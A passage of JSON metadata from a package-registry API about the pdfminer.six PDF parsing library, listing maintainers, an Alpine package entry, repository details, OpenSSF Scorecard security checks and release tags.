ttps://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":51,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six/codemeta","maintainers":[{"uuid":"Goulu","login":"Goulu","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/Goulu/","role":null,"created_at":"2023-01-30T17:57:17.793Z","updated_at":"2023-01-30T17:57:17.793Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/Goulu/packages"},{"uuid":"pietermarsman","login":"pietermarsman","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/pietermarsman/","role":null,"created_at":"2023-01-30T17:57:17.899Z","updated_at":"2023-01-30T17:57:17.899Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/pietermarsman/packages"},{"uuid":"tataganesh","login":"tataganesh","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/tataganesh/","role":null,"created_at":"2023-01-30T17:57:17.953Z","updated_at":"2023-01-30T17:57:17.953Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/tataganesh/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":873148,"maintainers_count":373398,"namespaces_count":0,"keywords_count":280639,"github":"pypi","metadata":{"funded_packages_count":53810},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-05-13T05:09:37.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":7779496,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_number":"20221105-r1","last_synced_at":"2026-04-09T02:07:57.496Z","created_at":"2023-05-22T14:30:20.487Z","updated_at":"2026-04-09T02:07:57.496Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.18/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.